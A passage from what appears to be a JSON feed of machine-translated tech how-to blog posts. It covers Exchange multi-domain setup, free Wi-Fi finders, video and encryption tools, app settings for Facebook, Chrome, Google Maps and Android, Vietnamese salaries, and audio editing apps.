system to run the Recipient Update Service to create a new email.\n  Figure D\nBack to the email address you just created, you will see that the user has a mail address, user@xyzinc.net SMTP email address (Figure E). Before that, when creating user and mailbox for ABC company, SMTP address will be displayed as user@abcinc.net . These users are now ready to send / receive email for the domain corresponding to it.\n  Figure E\nConfigure Outlook Open Outlook, the user only sees in the Global address list only displays the addresses in that range of Strorage Group. Back to public folder, the Board of Directors wants to manage separate access, but due to clienst MAPI restrictions such as Outlook, the default public folder is still displayed. To solve this problem, create 2 more puclic folder folders, name ABC company and XYZ company . Grant access to these directories to allow access to the respective users of each company. Note : The above method only applies to Exchange Enterprise version\n-----------------------\nHo Tuan Manh \n Email: tuan_manh2001\nncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqVYrq2uNOip6WdXZm8rq3Ip6pmp55irq95xLGaoZmenLJufo9pZ2arlafDpr4%3D\n","link":"/post/configure-multiple-domains-on-an-exchange-2000-server/","section":"post","tags":null,"title":"Configure multiple Domains on an Exchange 2000 server."},{"body":"Wi-Fi is definitely not cheap, but if needed, there are several ways to find free Wi-Fi, no matter where you are. You can use Wi-Fi hotspot (Wi-Fi Hostspot) search tools and equip yourself with some knowledge before starting to find free Wi-Fi.\nRemember, there's always a security issue with public Wi-Fi. It can make you vulnerable to hackers. There are many ways to protect your personal information while using the free Wi-Fi connection. It should be noted that you get everything that is right for you. In many cases, free Wi-Fi can be slow and frustrating for users.\nFind unlimited free Wi-Fi hotspots in almost anywhere Free Wi-Fi at businesses and hotels Use Wi-Fi hotspot finder Wififreespot.com Wifimap.io WeFiPro  Free Wi-Fi at airports and on airplanes WiFox WiFi on the plane  Free Wi-Fi at the place you live Free Wi-Fi via ISP or mobile phone provider All-free-isp.com  Free Wi-Fi at businesses and hotels Starbucks appears on almost every corner of major US cities, so it's no wonder this café is a popular choice for those looking for free Wi-Fi (and a drink too) hot again.\n  A variety of cafes, restaurants, fast food outlets, shopping centers and retailers in the United States are also places that offer free Wi-Fi. You can get free Wi-Fi at the following locations:\nStarbucks cafes The Apple store Barnes and Noble McDonald's restaurants Panera Bread Dunkin Donuts Buffalo Wild Wings Whole Foods Staples Best Buy Target Subway Taco Bell Michaels Some hotels also offer free Wi-Fi if you join a loyalty program or a program of gratitude, but don't expect fast speeds through these networks. For example, Kimpton and Omni hotels offer free Wi-Fi through a loyalty program.\nThere are also a few random places you may not think about to find free Wi-Fi, including a laundromat, court, museum, bookstore, and gym. The hotspot finders listed below are a great way to find more places like this.\nUse Wi-Fi hotspot finder To find out which businesses or locations offer free Wi-Fi in your area, you can use one of the following hotspot finders:\nWififreespot.com WiFi Free Spot's global database includes free Wi-Fi locations in the United States, Europe, Australia, Canada, South and Central America, the Middle East, Africa and Asia.\nLocations are divided by country, state and city, including libraries, hotels, restaurants and even transportation. The database includes addresses of points with free Wi-Fi and links to websites of these locations.\nWifimap.io If you want to use the database on the go, there are some great mobile apps worth considering. WiFi Map, available as a free iOS and Android application, boasts more than 100 million hotspots in the US, Europe, Asia, Australia, the Middle East and Africa.\nThe application also includes user-provided passwords for password-protected networks and will tell you how far away Wi-Fi hotspots are from your current location. (To view these passwords, you will have to accept some ads.) With the free version, you can view nearby broadcast points within a radius of 2.5 miles from your current location. You can also view hotspots elsewhere by rotating and zooming on the map.\n   If you sign up for an account to use the app, you will also have access to offline maps, which will definitely be useful when traveling, because you can avoid roaming charges for 'cutting neck'.\nDownload WiFi Map for iOS | WiFi Map for Android (Free).\nWeFiPro If you are looking for more options, consider WeFiPro, an application also available for both iOS and Android users. In addition to a free public Wi-Fi information database, the application automatically connects to the fastest networks based on your location.\nDownload WeFiPro for iOS | WeFiPro for Android (Free).\nFree Wi-Fi at airports and on airplanes Airport Wi-Fi is usually password protected or, if it's free, it also has a lot of bad voices. However, when you are stuck in the airport for a long time, it is better if you have Wi-Fi anyway. If you want to access password-protected networks (usually in airport lounges), there are several ways to find that information.\n120 passwords for free WiFi at airports around the world WiFox Available as a free or paid application via the website, WiFox is a regularly updated wireless password map of airport lounges around the world. It's easy to filter out the airport you need and see all the listed passwords.\n  The advantage of using a paid app is that you have offline access to saved maps, which is obviously useful when you travel.\nDownload WiFox for iOS | WiFox for Android ($ 1.99).\nWiFi on the plane When traveling, you should also think about which airlines offer free Wi-Fi on the plane. JetBlue offers free Wi-Fi for all visitors, while airlines like Southwest and Alaska Airlines offer free on-flight messages using apps like iMessage and WhatsApp.\nWhen you know which airline offers the flight, research it first and find out if they offer any free options.\nT-Mobile customers can also take advantage of the offer when receiving an hour of free Wi-Fi on the flight.\nFree Wi-Fi at the place you live Municipal Internet Access, or Muni WiFi, is a community project. Residents of US counties can register for an account and access the Internet for free. This is a service that is paid for by taxpayers' money.\nThe city also often provides unlimited free internet access at locations such as offices, libraries and some schools. For more information, visit the local government website. Free Wi-Fi access is a key element of most large libraries and often does not require a username or password. In some cases, you can also use public computers in these libraries.\nNew York provides services for families who cannot pay ISP fees. Families with at least one public school child who does not have Internet access at home, can register for free Wi-Fi at home provided through Library HotSpot program of the New York Public Library. New York also offers free Wi-Fi on some metro stations.\nFree Wi-Fi via ISP or mobile phone provider Another place to find free internet access points is through your ISP. Many ISPs offer free Wi-Fi hotspots, focusing around big cities. Use your zip code to find out where there are free Wi-Fi hotspots from Xfinity, Cox, Time Warner Cable, Verizon, and Optimum.\nSome US mobile phone providers also offer free Wi-Fi hotspots. AT\u0026amp;T customers can take advantage of the same free service, while T-Mobile customers will have to pay an additional $ 9.99 per month to access Wi-Fi hotspots. (Of course the connection speed may be slow).\n  All-free-isp.com You can try All Free ISP as a last resort. Searchable databases include the United States and Canada, making it easy to find service providers near you. Most completely free services offer dial-up Internet. If you've ever used it, you know how slow it is.\nIn addition, many providers, such as Juno, will display large advertising panels when you use their services. And of course, if you don't have a landline, this site is not really for you. Depending on where you live (in the US or Canada), you may not be able to find free dial-up services.\n  To find out if you can receive dial-up for free in your area, you can choose your state or province from the menu or enter your phone area code. All Free ISP breaks down the list into cities, including the ranking system and tells you which platforms are supported.\nIf you can't find any free Wi-Fi in your area, you can use your mobile phone to create your own hotspot. You will obviously need to consider certain things including data limits. If you have unlimited data, some mobile networks may adjust your speed to limit the use of hotspots when you connect your phone to a computer.\nGood luck!\nSee more:\nThe best free Wi-Fi find apps for Android Free access to WiFi across the country 5 applications to secure Wi-Fi Hotspot connections ncG1vNJzZmismaXArq3KnmWcp51ks6q6w2asp6SZora1scNmnaudlWLEqrLIZp%2BorKOlvLW%2FjKKlZpmcory0wIyapbKvmJq%2Fpg%3D%3D\n","link":"/post/find-unlimited-free-wi-fi-hotspots-in-almost-anywhere/","section":"post","tags":null,"title":"Find unlimited free Wi-Fi hotspots in almost anywhere"},{"body":"Freemake Video Converter is a free video and movie converter in more than 500 formats and utilities! You can convert to MP4, MP3, AVI, WMV, DVD, iPhone, Android.\nFreemake Video Converter gives you the freedom to convert video files of any size or format. Freemake Video Converter is completely free, with no trial period or limit!\nDownload the latest Freemake Video Converter here\nFeatures of Freemake Video Converter\nConvert more than 500 formats   Freemake Video Converter supports all popular and rare formats, incl. MP4, AVI, MKV, WMV, MP3, DVD, 3GP, SWF, FLV, HD, MOV, RM, QT, Divx, Xvid, TS, MTS, Fraps. Import photos or audio files to convert multimedia content to video. Convert multiple video clips at once. Codecs include: H.264, H.265 (HEVC), MPEG4, AAC, AV1. Convert HD movies without quality loss, e.g. MP4 to AVI. Freemake transcodes heavy files like 4K, Full HD 1080p and HD 720p from HD cameras, camcorders and Blu-ray. Backup DVD data to MP4 format with or without subtitles. Burn up to 40 hours of movies to a DVD. Save as DVD folder or create ISO file. Convert MTS files from Blu-ray discs. Trim video parts you don't need before converting. Rotate any video 90 or 180 degrees. Merge MP4 files or other clips into one. Remove black bars from any format. Limit the output file size. Encode clips to Flash FLV, SWF or HTML5 media formats: MP4 (H.264), WebM (VP8), OGG (Theora). The freeware provides a web player and embed code ready to be included in a website or blog. Convert many different types of images   Convert streaming clips from Vimeo, Vevo, Dailymotion, etc. Extract audio files from video clips or convert them to MP3, MP4, AVI, WMV, MKV, 3GP or many other file formats. The free video converter automatically uploads video and audio files to iTunes and iOS after converting. Convert large HD videos and movies. Video converter for every gadget   Convert video files for any media player with the free video to MP4 converter. Use ready format settings for Apple iPhone, iPad, Google Android, Sony PSP, Xbox, Samsung, Nokia, Huawei, Xiaomi, BlackBerry phones, tablets, consoles, smart watches. Change different file formats to MP4 or 3GP for old mobile phones. For rare extensions, create and use custom conversion settings. Free Video Converter by Freemake converts over 500 MP4 video and audio file formats, edits video files, rips and burns DVDs, creates photo slideshows, and more.\nfreemake video converter ncG1vNJzZmismaXArq3KnmWcp51ks7OxxKaYpJ1dq7alsc5mmqimppq%2FtbHRZpuor56hvKKwjK2fnmWclsGmv9NmnaudlaKurLGMr6CdnZ9isLC61Z6prZ2iYrWmvsQ%3D\n","link":"/post/freemake-video-converter-download-the-latest-freemake-video-converter-here/","section":"post","tags":null,"title":"Freemake Video Converter - Download the latest Freemake Video Converter here"},{"body":"Cloak Encrypt is a simple file encryption tool that helps you encrypt and decrypt files without any password. The file is always encrypted or decrypted on the local device, not any external server.\nThis software is easy to use and still free for non-business users. Cloak Encrypt is available on many platforms including Windows, Mac, iOS and Android.\nWith Cloak Encrypt, you, as well as the recipient, can be assured that all information is confidential. Follow the simple steps below to start using Cloak and enjoy the highest AES 256 bit encryption standards!\nGet an overview and download Cloak Encrypt To download Cloak to a Windows or Mac PC, first download the relevant installer at the official website. Cloak Encrypt is also available on App Store and Google Play.\n  After installation, you must create a Cloak application account using Google, Facebook, Dropbox, Box ID or a separate email address.\n  After you set up your account, the Cloak program is accessible directly from the system tray.\n  In addition, individual files are available for encoding with right-click options. Non-business users can only choose one file to encrypt at a time.\n  If you want to overcome the limit of just one file, compress multiple files at once and encrypt them together. You can use 7-Zip, WinRAR or WinZIP to compress files.\n  Encrypt and decrypt files If you want to select files for encryption, you can select them from the system tray or by using the right-click option. When you are done coding, the system will send you a warning.\n  To review these files on your own computer, just right-click and select the 'Uncloak' option. You do not need a password to view them. This is probably the best feature of this software, because it helps you avoid the trouble of having to create and remember passwords.\n  Right-click again to select the recipient you want to share the file with.\n  Add the email address of every recipient to whom you want to share the encrypted file.\n  You may get an error if the recipient does not have a Cloak application account. Click Yes to share the link from where they can download the Cloak application and create an account.\n  When the recipient confirms that they have Cloak, you can freely exchange all your private data with them via email, messaging application and social network. They can easily decrypt encrypted files on their computers or smartphones without a password.\nCloak Enterprise If you want more features, Cloak Enterprise offers a few additional options including unlimited encryption for $ 39 (907,000 VND) / user / year. This is useful if you don't want to compress and extract your files each time to share in groups. For those working in health care, financial services and other industries that need to comply with other data security, this is the best thing, because data access can be strictly controlled. .\nYou can also set different access levels for different groups and users, based on predefined rules. Multi-factor authentication prevents any random access by unauthorized users. With LDAP and Active Directory, you can enter email addresses from your database.\n  There are many online file encryption tools. However, very few software are as easy to use as Cloak and you can run it without any external compiler or utility. You don't have to worry about any malware and this software has received a lot of positive feedback from business users.\nIf you've ever experienced Cloak, share your opinion with everyone in the comment section below! Besides, if you are a Linux user, you can encrypt and decrypt your files using Gocryphts.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2RqLatxYyepZyqqaXBbq2Mn6ClnV2strW0zq6rZpldpa60v9aoqZ1lpai2r7OMnKOomZtisq%2Bv0bKnrQ%3D%3D\n","link":"/post/how-to-easily-encrypt-a-file-without-a-password-using-cloak-encrypt/","section":"post","tags":null,"title":"How to easily encrypt a file without a password using Cloak Encrypt"},{"body":"Facebook Stories recently added features to insert audio into videos or images when users post and share moments on Facebook news. Accordingly, Facebook provides a list of popular hits for us to choose and add to our news. Users can also enter the title or artist to search for content faster.\nAfter adding music to the Facebook Stories, the title of the song and artist are also displayed to ensure copyright issues. So besides adding stickers, effects for videos, with the addition of sound, your Facebook Stories content will be much richer. The following article will guide you how to insert music into Facebook Stories.\nHow to post videos longer than 15 seconds on Instagram Stories on Android and iPhone Guide to creating events, activities on Facebook How to use the dating feature on Facebook for the FA people How to share location directly on Messenger Video guide to insert music into Facebook Stories Instructions for inserting audio into Facebook Stories Step 1:\nAt the Facebook interface, we click on the camera icon in the left corner of the interface. Then switch to screen capture and video recording . You perform the post operation as usual on Facebook.\n   Step 2:\nWhen you have finished recording the content, click on the Sticker icon in the sequence of characters on the same interface. Click on the sticker Music to insert audio for video content or images.\n   Step 3:\nSwitch to the song selection interface to add news on Facebook Stories. Users choose sounds according to different genres such as Hip hop, Romance, Pop, . click See more to expand the audio theme.\nMusic is divided into 2 groups, namely, Genre and Mood. Click View all to expand the selected content.\n    Step 4:\nIf you do not want to search for music by genre, enter the artist name and song directly into the search bar to find music according to your needs. Find your favorite song and click the Add button next to it.\n   Step 5:\nNext the song shows up on the news interface so that we can select the music we want to use. You are only allowed to insert 7 seconds of music into Facebook Stories, but you can choose your own music by moving the sound waves. After selecting your favorite music, press Done in the top right corner.\n   Step 6:\nThe music playback frame is then displayed on the content interface. Users select the appropriate sticker position, zoom in or change the display interface by clicking on the frame to select. If you don't like this song , press and hold on the music frame, then drag down the trash icon below.\n    Step 7:\nKeep adding other content if you want. Click the Next button below to continue. Choose where to share videos or photos and click Share now. Wait a few seconds for Facebook to download the content and you get the result as shown below.\n    Add a new way to enrich your video or image content on Facebook Stories. Basically when inserting music into Facebook Stories as well as when you insert a sticker, you can customize the icon again, but different in that you can play the sound only.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIymrKyhk2K2r8DOZqehp6SkwG6tzZ1kr6GUmry0ec6nZJ%2BZk5qvsLvK\n","link":"/post/how-to-insert-music-into-photos-and-videos-on-facebook/","section":"post","tags":null,"title":"How to insert music into photos and videos on Facebook"},{"body":"  Open your text in Illustrator. Double click to open the Illustrator project. You need to open the project in Illustrator to resize the artboard.\n  Search for the artboard you want to resize. In the Artboards panel on the right side of the page, search for the name of your artboard.\nIf you don't see this panel, click the Window menu at the top of the window (or desktop if you're using a Mac), then click Artboards in the drop-down menu that appears.\n  Double-click the \"Artboard\" icon. This box-shaped icon has a plus sign (+) to the right of the artboard's name. This step opens a window.\n  Change the width of the artboard. Edit the number in the \"Width\" text box to do this.\n  Change the height of the artboard. Increase or decrease the number in the \"Height\" text box for this to work.\n  Click OK . This button is at the bottom of the window. This step saves your changes and resizes your artboard.\nIf you need to change the position of a drawing in your artboard, select the artboard, then click and release the dotted line that appears.\nResize multiple artboards   Open your text with Illustrator. Open the Illustrator project by double clicking. You need to open the project in Illustrator to resize the artboard.\n  Select the artboard you want to resize. In the \"Artboards\" panel on the right side of the page, you'll see a list of your artboards. Hold down Ctrl (on Windows) or ⌘ Command (on Mac) while clicking on each artboard you want to resize.\nIf you don't see this Artboards panel, you'll need to click the Window menu at the top of the window (or desktop if you're using a Mac), and then click Artboards in the drop-down menu that appears.\n  Press ⇧ Shift+O. This selects your featured artboards and opens their size values ​​at the top of the Illustrator window.\n  Edit the size of the artboard. You can type the desired size in the \"W\" (width) or \"H\" (height) text box at the top of the page to resize the artboard.\nIf you want to change the position of the drawing in each artboard, select the artboard and then click and release the dotted line that appears.\nMake the artboard fit the drawing   Open your text in Illustrator. Double click to open the Illustrator project. You need to open the project in Illustrator to resize the artboard.\n  Click Object . This menu is at the top of the Illustrator window (for Windows) or at the top of the screen (for Mac). After clicking, a drop-down menu will be displayed.\n  Select Artboards . This option is at the bottom of the drop-down menu. Another menu will be displayed.\n  Click Fit to Artwork Bounds . This button is located in the menu that appears. This step helps to resize your artboard to fit the drawing.\nIf you have multiple artboards, each artboard is resized.\nAdobe Illustrator ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqLa7sYyaqa2an5a%2Fpb%2BMoqVmmZSkr6Z5yKWjrqukp661u9E%3D\n","link":"/post/how-to-resize-artboards-in-adobe-illustrator/","section":"post","tags":null,"title":"How to Resize Artboards in Adobe Illustrator"},{"body":"  Save unfinished work. You will have to restart your computer at the end of this method, so make sure you save everything before continuing.\n  Open Start. Click the Windows icon in the lower left corner of the screen. The Start menu will pop up.\n  Type run. The Run program will be found on the computer.\n  Click Run . The icon with the envelope in flight is at the top of the Start menu. Once clicked, the Run window will open on the left side of the screen.\nYou can later open Run by pressing ⊞ Win+R.\n  Type msconfig into the Run text box. When run, this command will open the Windows System Configuration window.\n  Click OK at the bottom of the Run window. The System Configuration window will open.\n  Click the Services tab at the top of the System Configuration window.\n  Check the box \"Hide all Microsoft services\" (Hide all Microsoft services) in the lower left corner of the window. This will reduce the number of services listed here and prevent you from accidentally disabling an important Windows service.\n  Scroll down until you find two \"Google Update Service\" services. They are all from the manufacturer \"Google Inc.\" And often lie next to each other.\nYou can sort by manufacturer by clicking the Manufacturer tab near the top of the window.\n  Uncheck the \"Google Update Service\" boxes. Click the check box to the left of each \"Google Update Service\" item.\n  Click Apply at the bottom of the window. All Google Update services will be discontinued.\n  Click OK at the bottom of the window.\n  Click Restart when prompted. The computer will save the changes and restart, from now on, Google Chrome will no longer automatically update.\nOn Mac   Click the Go preferences item at the top of the Mac screen. A drop-down menu will appear.\nIf the Go preferences item is not found, click the desktop, or open Finder to turn it back on.\n  Hold down the ⌥ Option key at the bottom left of your Mac's keyboard. The Library folder will appear in the Go drop-down menu.\n  Click Library near the bottom of the Go drop-down menu. The Library folder will open.\n  Open the \"Google\" folder. Scroll down until you find the folder labeled \"Google\", double click.\n  Select the \"GoogleSoftwareUpdate\" folder. Click on this folder (located in the Google folder).\n  Click the File option in the upper left corner of the screen. A drop-down menu will appear.\n  Click the Get Info action in the File drop-down menu. The Info window will open.\n  Rename the folder. Select the folder name at the top of the window, then enter a different name (for example, NoUpdate).\nYou may need to click the clock icon in the lower right corner of the window and then enter your user password.\n  Click ⏎ Return. The folder name will change.\n  Restart the Mac computer. Click the Apple menu, click Restart., and then click Restart Now. After your Mac restarts, Chrome will no longer automatically update.\nOn iPhone   Open your iPhone's Settings app. Click the Settings app icon with the gear icon in the gray frame.\n  Scroll down and tap iTunes \u0026amp; App Store (iTunes \u0026amp; App Store). This option is located in the middle of the Settings page. The App Store settings page will open.\n  Click the green \"Updates\" button. The switch will then be grayed out and disable automatic app updates, meaning no apps—including Google Chrome—will automatically update from now on.\nOn Android   Open the Google Play Store (Google App Store) of Android. Tap the Google Play Store app icon with a multicolored triangle on a white background.\n  Tap the ☰ button in the upper-left corner of the screen. A menu will pop up.\n  Click Settings . This option is in the middle of the pop-up menu. The Settings page will open.\nOn some Androids, you may need to scroll down to find Settings.\n  Tap Auto-update apps near the top of the screen. Another menu will open.\n  Tap Do not auto-update apps . This option is at the top of the pop-up menu. Automatic app updates will be disabled, meaning no apps—not even Google Chrome—will be able to update themselves from now on.\nGoogle Chrome ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZKCnn5y5pnnCoamopZViwrGwwK2crGWTpLqxuMStnKWx\n","link":"/post/how-to-turn-off-google-chrome-updates-completely/","section":"post","tags":null,"title":"How to Turn Off Google Chrome Updates Completely"},{"body":"Google Maps next to the main directions feature, there are more options to receive contributions, comment on a place where users visit such as restaurants, cafes, . of Your contributions feature (Your contribution ). This feature continuously sends notifications to users, reminding you to review the recently visited location. Therefore, many people feel uncomfortable when continuously receiving this notification when using Google Maps. If users do not want to receive any notifications about ranking and rating locations on Google Maps, they can be turned off easily. The following article will guide readers to turn off notifications for location review requests on Google Maps.\nHow to share a trip on Google Maps How to send Google Maps routes from PC to phone How to create and share favorite places on Google Maps How to find the way to Google Maps for motorcycles Instructions to turn off suggestion suggestions on Google Maps 1. Turn off Google Maps Android review notifications\nStep 1:\nUsers access the Google Maps application as usual and then click on the 3 dash icon to enter the option list. In the new interface click on Settings .\n   Step 2:\nIn the Settings interface click on the Notification management group on the application. Continue to click on your Contributions section .\n   Step 3:\nSwitch to the interface of options for people to contribute content. Here, turn off the Rating content and review the location . Next, users should also turn off some options such as Location questions or Add your photos.\n   2. Turn off the Google Maps iPhone location notification\nStep 1:\nWe also click on the 3 dashes icon in the main interface of the Google Maps application, then click on the gear icon to enter the installation interface of the application.\n   Step 2:\nSwitch to the new interface and click on the Notifications section , then we also turn off the Ranking option and rate the location in the new interface. In addition, users can turn off the option to Post new photos.\n   So after we turn off notifications about location reviews on Google Maps, we will no longer receive any notifications. In addition, users can turn off other notifications that are not received in the Google Maps notification adjustment interface.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZKCnn5y5pnnMmqesZZyksKLAyKilZqafqbantcKaq6Knng%3D%3D\n","link":"/post/how-to-turn-off-google-maps-location-notification/","section":"post","tags":null,"title":"How to turn off Google Maps location notification"},{"body":"The flash on Android phones not only supports users to take better pictures in low light conditions, to replace flashlights, but it can also be a warning light when a call or message helps you miss any important calls. With the iOS operating system, this feature has been built into the settings. However, for Android users you have to ask for help from a 3rd party application called Flash On Call to do this.\nHow to change ringtone and incoming call on Facebook Messenger How to reply to messages extremely fast on Android How to set the ringing mode when there is an emergency with Essential Calls Instructions to turn on the flash to notify when there is a call or message on the Android phone Download the Flash On Call app for Android Step 1:\nYou proceed to download and install the Flash On Call application to your phone. By default after installation, the application will automatically be activated and the flash will be lit every time there is a call ( Incoming call ), incoming message ( Incoming SMS ).\nFlash On Call works in all three modes: Normal mode ( Normal ringtone mode ), Vibrate mode (vibration mode) and Silent mode (silent mode). You can choose to turn off one of these modes if you do not want Flash On Call to activate the flash in some case.\n  Step 2:\nSet up flash light to notify when there is a new update from the app in the section f lash on app . You just need to click the Notification App and select the application that wants Flash On Call to blink the light to notify (up to 10 applications). In this tutorial we will select the Messenger application, from now on whenever a new message arrives on Messenger, Flash On Call will activate the flash to notify you.\n  Note: In the list of selected applications interface, you must press the Tap to turn ON button, then activate Flash On Call by swiping the switch bar to the right, then this application will flash the notification when there is a notification. Come on the app you just selected.\n  Step 3:\nYou should set off the flash flashing function on Android when the phone battery is low to extend the usage time. From the main interface of the application, select the Disable when battery below item and select the battery life that you want the application to stop when reached.\nFor example, we will leave the battery level about 20%. So, in case your phone is about to run out of battery, and about 20% of the time, the flash will not blink automatically every time a call or message arrives.\n  Step 4:\nYou can check if you have turned on the flash to notify you when a call or message on Android is successful. Get another phone and try to see if the flash is flashing.\nOverall, Flash On Call is an extremely useful application that makes it easy to identify all incoming calls or messages, even when the phone is in silent mode or when you are away from your phone.\nHope you are succesful.\nSee more:\nSmall tips to turn on 2 Flash at the same time on iPhone How to turn on the flashlight with the power key on the iPhone Greatly turn on the flashlight on Android extremely fast ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mq6GdXZu5or%2FHZqWorJmbtqSt06Kmp2WnnbKvedOhnKudXZ7Abq2MnJilpF2kv265xKyqmp%2BVYryvecCnm6unmZk%3D\n","link":"/post/how-to-turn-on-the-flash-notification-when-there-is-a-call-or-message-on-android/","section":"post","tags":null,"title":"How to turn on the flash notification when there is a call or message on Android"},{"body":"This time is the time for students to choose for themselves a discipline, to decide the future. Besides the output, the salary issue is also very much interested by you.\nVietnam is the lowest wage country compared to Asian countries. However, there are still industries that attract a lot of students to study by the 'terrible' salary. If you are wondering how to choose a career with a high income, you can refer and orient your career later.\n1. CEO at high-end hotel (210-350 million VND)   Leading the top 10 jobs with the highest salary, it is impossible not to mention the CEO job at high-end hotels. According to the statistics of the Vietnam National Administration of Tourism, there are about 5,000 3-5 star hotels in the country, but most of the most popular hotels in the best locations must hire foreign companies to manage. With 10,000-15,000 USD / month (equivalent to 210-320 million / month) this is the average salary of foreign CEO of a luxury hotel in Vietnam.\n2. Bank leaders (over VND 100 million)   Most people working in the banking industry have a relatively high salary, especially for bank CEOs, the income of some major bank CEOs is between VND 4.8 - 7 billion / year, and the CEOs. Other income is around 2 billion VND per year. If you love this industry, you can refer.\n3. Human resource management (VND 30-100 million)   Currently, a new graduate student working in the human resources industry can find a job with a minimum salary of VND 5 million / month, the head of the department is paid more than USD 1,000 / month and the position of director of human resources can income from 2,500 to 3,000 USD / month. Even large foreign corporations are paying 4,000 USD / month for this position in Vietnam.\n4. Pilot (70 - 80 million VND)   Pilots are also quite interesting and have a great salary. According to the statistics of the 5-year payrolls from 2008 to 2013, published most recently by Vietnam Airlines (VNA), the average salary of the pilots in 2013 reached VND 74.8 million / month. This level has decreased by 4.5 million compared to 2012, and 6.7 million compared to 2011.\nAlthough the salary is so high, many people believe that this salary is not commensurate with the pressure and nature of aircraft control work. Because pilots are the only people 'holding' the lives of hundreds of passengers, pilots are also risky occupations, requiring high levels of concentration. Before that, they had to go through a rather long and harsh process to practice.\n5. Information technology programmer (VND 20-30 million)   Currently information technology is quite developed, almost all jobs depend on technology, so this profession always keeps the position 'hot'.\nIn addition, foreign invested technology companies are increasingly entering Vietnam. Therefore, the demand for recruiting their personnel is often very large, many enterprises have launched attractive ways to recruit talents such as the willingness to pay salaries of more than 1000 USD for the part engineers. soft and fluent in English.\n6. Health (average of 24 million / month)   Health is an industry that is extremely developed and has very high prospects in recent years as well as in the future. Because health is a health care industry for everyone, health care for yourself is getting more and more important.\n7. Flight attendants (18-20 million)   Like pilots, flight attendants are also a profession with a high income from 18 to 20 million VND / month. Although not faced with the pressure as a pilot, but flight attendants also encountered a lot of difficulties, such as having to work away from home, not fixed hours. But in return, the advancement opportunity of this profession is relatively fast.\n8. Secretary - assistant - executive (average 18 million / month)   Secretary - assistant - executive always attracts many applicants with an average salary of 18 million / month. Despite the high salary, this industry requires experienced candidates and withstands high pressure on the job. Besides, the workers need to have acumen and skill in life.\n9. Air traffic controllers (VND 15-20 million)   With the nature of stressful work, the harsh training program makes those who do not have the patience and love of reward reward halfway. Besides professional skills, English is also required to inform pilots.\nStressful work, air traffic controllers must constantly observe on the machine, look at the schedule and arrange the flights. Sometimes unexpected and dangerous situations will occur, you need to have \"steel spirit\" to keep calm but handle.\nIn return, the salary of this job is relatively high compared to other jobs. Currently an air traffic controller can receive about 15 million / month, and there are many remuneration.\n10. Engineer (average 17 million / month)   Engineer is a job suitable for men because work requires high pressure as well as danger.\nToday with the improvement of infrastructure, many projects are invested with foreign capital, so engineers will have more opportunities in developing their careers.\nWish you have a career that suits you!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZqCZnLWmv9NmqpqkkafGbrzRqJ2eq6OevK%2B%2FjKKlZq6ZmsGvrcw%3D\n","link":"/post/top-10-highest-salary-professions-in-vietnam/","section":"post","tags":null,"title":"Top 10 'highest salary' professions in Vietnam"},{"body":"Today many music lovers love to listen to music with different genres on Android devices.But sometimes you want to cut a piece of music with lyrics of your favorite song or edit it as a ringtone or to combine with another piece of music.So the following top 20 audio editing applications will help you easily edit your favorite music and songs as you like.\nThe applications below receive positive reviews, high ratings and multiple downloads.Let's see what professional users they use!\n1. PocketBand Pro - Social Social Enterprises   This is one of the best apps that you should download for your 'mobile phone'.With this application, you can perform high quality tracks such as synth, drum audio mixes, templates, recordings, modulators and amplifiers.Application to export mp3 files or ringtones.You can also export music, play music, remix music.\n2. MP3 Cutter   \nMP3 Cutter is the best tool to edit music files conveniently and easily.This application also supports merging audio files.In addition, there are many new features in this application that you will discover after installing it on Android devices.\n3. Media Converter   \nThis is one of the best audio editing applications for Android, helping you edit your audio file as desired.Media Converter allows you to convert all types of popular audio formats like mp3, mp4 mpeg4, aac, ogg, avi (mpeg4, mp3), MPEG (mpeg1, mp2), flv (flv, mp3) and WAV.In addition, audio profiles: m4a (audio files only), 3ga (audio files only), OGA (FLAC audio files only) are also available.\n4. ZeoRing - Ringtone Editor   \nZeoRing provides a handy user interface to easily edit ringtones, set these ringtones for your contacts and make the default ringtone.You can easily cut MP3, AAC, AMR, WAV files and create ringtones, notifications and alarms.The audio files arranged by ZeoRing are very scientific and organized so you can view and use them easily.You can also record audio and turn it into a ringtone.\n5. WavePad Audio Editor Free   \nThis is also a great audio editing application that your Android phone will like.WavePad is a free audio editing application.It has features like recording, editing, adding effects and saving audio or sending it to others to share or continue editing on other devices.\n6. Music Maker Jam   \nWith Jammer Music Maker, you can combine thousands of professional audio samples and bring your musical ideas to life.Record vocals, read rapping or create random sounds and use an 8-channel audio mixer to create smooth music.You will get extended features like harmonic audio editor and real-time effects.\n7. Mp3 Cutter \u0026amp; Merger   \nMp3 Cutter \u0026amp; Merger is an Android application used to cut and merge Mp3 files.You can customize the songs according to your wishes.While playing a sound clip, you can see the indicator pointer and audio waveform chart.You can enlarge this chart and cut the song at the position you want.\n8. Lexis Audio Editor   \nYou can create new recordings or edit audio files with the editor.Save files in the desired audio format.The trial version has all the features of the paid version including saving WAV, M4A, AAC, FLAC and WMA formats.If you want to save the file in mp3 format, you have to pay to use this feature.\n9. Walk Band - Multitrack Music   \nWalk Band is a music studio (a virtual instrument kit) customized for Android.It contains dozens of virtual instruments such as Piano, Guitar, Drum, Drum Machine, Bass, synthesizer, etc. All these virtual instruments produce the same sound as real instruments.You can add drum beats and guitar chords to the piano melody.\n10. Audio Editor for Android   \nAndroid Audio Editor is a multifunctional tool for managing and editing audio files.The three main functions of the application are audio extracting, audio conversion and audio editor.Audio editor allows you to convert mp3 files to ringtones.It gives you access to free ringtones.Intuitive and easy to use interface.In addition, you can select part of the mp3 file to save as mp3 ringtone.\n11. AudioDroid: Audio Mix Studio   \nAudioDroid: Audio Mix Studio is a music player, audio recorder, editor and audio mixer.You can edit and mix audio files MP3, MP4, WAV, AAC, OGG, AMR and create ringtones and notifications.AudioDroid allows you to add new songs, mix songs and save mixed audio files in mp3 format.\n12. Audio Editor Cutter \u0026amp; Merger   \nAudio Editor is an application that allows users to cut audio files into sections.And the different parts will merge and create new sounds.This application is very useful when you want to cut a piece of music you like but it is difficult to find on the Internet or any other source.\n13. Audio MP3 